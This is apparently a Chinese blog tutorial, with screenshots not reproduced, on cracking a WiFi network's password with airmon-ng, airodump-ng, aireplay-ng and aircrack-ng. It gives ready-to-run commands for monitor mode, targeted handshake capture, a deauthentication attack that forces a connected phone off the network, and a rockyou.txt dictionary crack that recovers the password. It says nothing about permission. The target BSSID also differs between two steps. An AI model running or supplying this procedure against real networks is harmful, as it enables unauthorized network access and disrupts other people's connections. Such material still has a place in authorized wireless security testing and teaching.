1、查看网卡

image.png

2、启动网卡

airmon-ng start wlan0

image.png

3、如下情况为启动成功,wlan0mon

image.png

4、扫描当前环境WiFi,目标为R150S

airodump-ng wlan0mon

image.png

5、抓取wifi握手包

airodump-ng -c 1 --ivs -w test --bssid 00:15:6D:05:86:4E wlan0mon

image.png

6、强制连接到wifi的设备重连路由器,使用aireplay-ng命令给手机发送一个反认证包,使手机强制断开连接,随后它会自动再次连接wifi。
不难看出,airplay-ng生效的前提是WiFi热点中必须至少已经接入一个设备。
由于刚刚打开的终端一直在执行抓包工作,所以我们重新打开一个终端,输入命令。

aireplay-ng -0 2 -a DC:FE:18:1B:42:6B -c 50:01:D9:7E:F0:3F wlan0mon

image.png

7、此时已经抓到握手包,按CTRL+c停止

image.png

8、开始破解密码,得出密码123456123456

aircrack-ng -w /usr/share/wordlists/rockyou.txt /root/test-01.ivs

image.png

上一篇 下一篇